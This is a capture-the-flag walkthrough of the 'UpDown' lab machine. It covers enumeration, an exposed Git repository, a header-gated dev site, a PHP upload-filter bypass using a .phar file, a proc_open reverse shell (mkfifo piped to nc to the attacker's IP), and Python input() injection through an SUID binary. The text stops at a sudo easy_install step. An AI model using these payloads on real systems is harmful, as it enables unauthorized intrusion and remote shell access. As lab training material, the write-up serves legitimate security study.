$ nmap -p- --min-rate 5000 10.129.227.227
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-08 07:39 EDT
Nmap scan report for 10.129.227.227
Host is up (0.0060s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Siteisup.htb
Port 80 hosts an application that checks whether a website is up.
We can use nc listener and use a URL that points to our machine.
$ nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.13] from (UNKNOWN) [10.129.227.227] 43088
GET / HTTP/1.1
Host: 10.10.14.13
User-Agent: siteisup.htb
Accept: */*
We can first add siteisup.htb to our /etc/hosts file, then we can do both wfuzz subdomain fuzzing and gobuster directory scans.
wfuzz scan reveals a dev subdomain.
$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H 'Host:FUZZ.siteisup.htb' --hw=93 -u http://siteisup.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://siteisup.htb/
Total requests: 100000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000022: 403 9 L 28 W 281 Ch "dev"
However, we aren't allowed to visit this site yet as it returns us a 403.
$ curl http://dev.siteisup.htb
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at dev.siteisup.htb Port 80</address>
</body></html>
The gobuster scan also reveals another directory:
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://siteisup.htb -t 100
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://siteisup.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
===============================================================
2023/05/08 07:43:25 Starting gobuster in directory enumeration mode
===============================================================
/dev (Status: 301) [Size: 310] [-> http://siteisup.htb/dev/]
Another gobuster scan using few different wordlists reveals there's a .git repository present:
Reading the .htaccess file reveals why we were blocked the first time:
$ git cat-file -p b317ab51e331425e460e974903462a3dcdccc878
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header
We need to have a special HTTP header in order to be verified. We can use the Modify Header Value Firefox extension to create a new header Special-Dev with the value of only4dev.
Then we can view the site:
Execute PHP Code
There is probably a PHP file upload vulnerability to exploit here. We can do some basic source code analysis using the Git repository we found earlier. Within the checker.php file, we can view the code that responsible for this file upload:
<?phpfunctionisitup($url){ $ch=curl_init();curl_setopt($ch, CURLOPT_URL,trim($url));curl_setopt($ch, CURLOPT_USERAGENT,"siteisup.htb beta");curl_setopt($ch, CURLOPT_HEADER,1);curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);curl_setopt($ch, CURLOPT_TIMEOUT,30); $f =curl_exec($ch); $header =curl_getinfo($ch);if($f AND $header['http_code'] ==200){returnarray(true,$f); }else{returnfalse; }curl_close($ch);}if($_POST['check']){# File size must be less than 10kb.if ($_FILES['file']['size'] >10000) {die("File too large!"); } $file = $_FILES['file']['name'];# Check if extension is allowed. $ext =getExtension($file);if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){die("Extension not allowed!"); }# Create directory to upload our file. $dir ="uploads/".md5(time())."/";if(!is_dir($dir)){mkdir($dir,0770,true); }# Upload the file. $final_path = $dir.$file;move_uploaded_file($_FILES['file']['tmp_name'],"{$final_path}");# Read the uploaded file. $websites =explode("\n",file_get_contents($final_path));foreach($websites as $site){ $site=trim($site); if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
$check=isitup($site);if($check){echo"<center>{$site}<br><font color='green'>is up ^_^</font></center>"; }else{echo"<center>{$site}<br><font color='red'>seems to be down :(</font></center>"; } }else{echo"<center><font color='red'>Hacking attempt was detected !</font></center>"; } }# Delete the uploaded file.@unlink($final_path);}functiongetExtension($file) { $extension =strrpos($file,".");return ($extension===false) ?"":substr($file,$extension+1);}?>
The website seems to take a bunch of websites specified within the file as specified by the foreach loop, then checks if all of them are alive. The file extension check can be bypassed using .phar, and the check on whether the site is legit can be bypassed by having a lot of websites within our file.
Because it checks each site manually to see if it is alive, we can actually embed a PHP payload within a long text file. As the file checks each of the sites manually, it would detect our PHP payload later, and we can still view the file and get our PHP code to execute.
This is the test file I used:
There's about 2000 lines within this. When the file is uploaded, it hangs for a long me. Then, we can head to /uploads to view the file uploaded.
We can then verify that our PHP code is indeed executed, and the rest of the websites have yet to be evauluated.
When viewing this, we can find that there's a lot of disabled_functions present:
Functions like shell_exec, passthru and system are all blocked, meaning we cannot get a reverse shell using this. We can use Hacktricks's list of useful PHP functions to see which are not disabled:
The proc_open function has not been disabled, so we can use that to get a reverse shell. Searching for proc_open PHP reverse shell returns this:
We can certainly use snippets of this and PHP code to get a reverse shell. Instead, we can change the command to run mkfifo shell:
<?php$descriptorspec =array(0=>array("pipe","r"),// stdin is a pipe that the child will read from1=>array("pipe","w"),// stdout is a pipe that the child will write to2=>array("file","/tmp/error-output.txt","a") // stderr is a file to write to);$cwd ='/tmp';$env =array('some_option'=>'aeiou');$process =proc_open('sh', $descriptorspec, $pipes, $cwd, $env);if (is_resource($process)) {fwrite($pipes[0],'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.13 4444 >/tmp/f');fclose($pipes[0]);echostream_get_contents($pipes[1]);fclose($pipes[1]);// It is important that you close any pipes before calling// proc_close in order to avoid a deadlock $return_value =proc_close($process);echo"command returned $return_value\n";}?>
Embed this within our long text file, and when visited in /uploads, we will get a reverse shell:
Privilege Escalation
SiteisUp.py
There's one user within the machine:
www-data@updown:/home$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Jun 22 2022 .
drwxr-xr-x 19 root root 4096 Aug 3 2022 ..
drwxr-xr-x 6 developer developer 4096 Aug 30 2022 developer
www-data@updown:/home/developer$ ls
dev user.txt
We can't read the user flag, but we can view the /dev directory within it.
www-data@updown:/home/developer/dev$ ls -la
total 32
drwxr-x--- 2 developer www-data 4096 Jun 22 2022 .
drwxr-xr-x 6 developer developer 4096 Aug 30 2022 ..
-rwsr-x--- 1 developer www-data 16928 Jun 22 2022 siteisup
-rwxr-x--- 1 developer www-data 154 Jun 22 2022 siteisup_test.py
It seems that there's an SUID binary in the form of a Python file, and the source code is readable:
www-data@updown:/home/developer/dev$ cat siteisup_test.py import requestsurl =input("Enter URL here:")page = requests.get(url)if page.status_code ==200:print"Website is up"else:print"Website is down"
When trying to run the script, I noticed there was a string error:
www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application
Enter URL here:http://10.10.14.13
Traceback (most recent call last):
File "/home/developer/dev/siteisup_test.py", line 3, in <module>
url = input("Enter URL here:")
File "<string>", line 1
http://10.10.14.13
^
SyntaxError: invalid syntax
www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application
Enter URL here:"http://10.10.14.13"
Website is up
This occurs because the argument is directed taken from the user's input and passed into the next line. The script only works if we specify it as a string. Because of how it handles user input, this makes it vulnerable to Python code injection.
We have to import the os library, and since we cannot do so statically using import, we have to dynamically do it using __import__.
We can the nread the user's private SSH key and SSH in to upgrade our shell. We can also grab the user flag.
Easy_Install
Checking sudo privileges, we find that we can run easy_install:
developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User developer may run the following commands on localhost:
(ALL) NOPASSWD: /usr/local/bin/easy_install